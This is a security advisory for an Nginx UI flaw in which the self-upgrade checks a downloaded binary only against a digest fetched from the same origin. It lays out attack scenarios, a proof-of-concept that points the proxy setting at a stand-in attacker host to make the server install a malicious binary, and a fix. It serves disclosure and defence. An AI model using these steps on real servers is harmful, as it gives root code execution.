CVE-2026-107812: Nginx UI: Self-upgrade runs an unsigned binary verified only by a same-origin digest → RCE via a compromised mirror or MITM
Summary The self-upgrade downloads the release binary and its checksum (.tar.gz and .tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is githubproxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName).
Published Oct 9, 2026
Affected packages
github.com/0xJacky/Nginx-UI
- Ecosystem
- Go
- Affected
- >= 1.9.10-0.20250517140552-daee3ac7ade1, < 1.9.10-0.20260728114330-580585516dd8
- Fixed in
- 1.9.10-0.20260728114330-580585516dd8
- Check
go list -m github.com/0xJacky/Nginx-UI
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) and the process restarts, so the binary runs as the nginx-ui user (typically root).
Because integrity rests only on a digest fetched from the same place as the binary, anyone who controls that download path can substitute a malicious binary plus a matching digest and obtain code execution as root on the next upgrade. Additionally, the github_proxy setting accepts http:// URLs, so the binary+digest can be fetched over cleartext.
Affected code
internal/version/url.go GetUrl(path)=<github_proxy or cloud.nginxui.com>/<path>— used for BOTH the binary and the digest.internal/upgrader/upgrade.go DownloadLatestRelease: digest URL and binary URL are both wrapped withGetUrl(), fetched, and checked withdigestFileContent == DigestSHA512(tarName). No signature verification anywhere ininternal/upgrader/.selfupdate.CommitBinarythen replaces the running binary; the process restarts.settings/http.go:GithubProxyaccepts any URL (binding:"omitempty,url"), includinghttp://.
Attack scenarios
A. Compromised mirror / CDN (primary). By default the binary+digest are routed through cloud.nginxui.com. If that mirror (or the GitHub release CDN) is compromised — or DNS/BGP is hijacked — it can serve a malicious binary + matching digest to EVERY instance that upgrades, yielding root RCE fleet-wide. No nginx-ui credentials are needed by the attacker (they control the mirror). A binary signature would prevent this. B. HTTP proxy + on-path MITM. Operators behind GitHub-restricted networks are the intended users of github_proxy; the field accepts http://, so the binary+digest are fetched in cleartext. An attacker on the network path (rogue gateway / ARP spoofing / malicious Wi-Fi / compromised router) substitutes a malicious binary + matching digest -> root RCE on the next upgrade. C. (mechanism demonstration) An authenticated user sets github_proxy to a server they control and triggers the upgrade. This is how the PoC below proves the mechanism; note that in nginx-ui (no role separation) such a user is admin-equivalent, so on its own this path is self-inflicted — it is included only to demonstrate that an unsigned attacker binary is accepted and executed.
Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — mechanism
An attacker HTTP server serves any *.tar.gz -> a malicious tarball (whose nginx-ui is a script that writes a marker as whoever runs it) and any *.digest -> the SHA-512 of that tarball.
- Set the download origin to the attacker server (here via
github_proxy; in scenarios A/B this is instead a compromised mirror / MITM):POST /api/settingswithhttp.github_proxy = http://ATTACKER:8890-> 200. The field accepts the http URL. - Trigger the upgrade: WS
GET /api/upgrade/perform, send{"channel":"stable"}. - Observed:
- The attacker server received BOTH
GET /https://github.com/.../nginx-ui-linux-64.tar.gz.digestand.../nginx-ui-linux-64.tar.gz(over cleartext http). - WS: "Downloading latest release" -> "Performing core upgrade" -> restart. The attacker tarball's digest matched (attacker supplied both) -> integrity check PASSED, no signature checked.
- Inside the container:
/tmp/UPGRADE_PWNED=UPGRADE_RCE_EXECUTED uid=0-> the malicious binary replaced nginx-ui and EXECUTED AS ROOT.
Impact
Root code execution on upgrade. Realistically reached by compromising the trusted download source (mirror/CDN, scenario A — fleet-wide) or by MITM of a cleartext http proxy (scenario B). A cryptographic signature on the release binary would prevent all of these.
Honest scope / caveats
- Live-verified: the integrity-bypass MECHANISM — an unsigned binary plus a same-origin digest is accepted and executed as root, and the binary+digest are fetched over cleartext http when an http proxy is configured. This was demonstrated via scenario C (attacker-controlled proxy).
- NOT staged (threat-model assumptions, not PoC artifacts): actually compromising
cloud.nginxui.com/ the GitHub CDN (scenario A), and performing a real on-path MITM intercept (scenario B). These are standard attacker capabilities, marked here as analysis. - The upgrade is operator-triggered (UI:R). The default flow uses HTTPS to
cloud.nginxui.com+GitHub plus the digest, so this is not "zero integrity" — the gap is the absence of a signature, which matters when the source is compromised or the transport is cleartext (http proxy).
Suggested fix
Verify the release binary against a cryptographic signature with a public key pinned in the nginx-ui binary (or a digest fetched over an independent, pinned channel), not a digest from the same origin as the binary. Reject http:// for github_proxy (require https). Consider treating github_proxy as a protected setting.
Dedup / novelty
Distinct from CVE-2026-42238 (unauthenticated backup-restore RCE) and CVE-2026-33026 (backup tampering); this is the self-UPGRADE binary path. No existing nginx-ui CVE/GHSA covers upgrade integrity (checked osv.dev and the GitHub advisory database). Appears novel.
Credited to novice-22.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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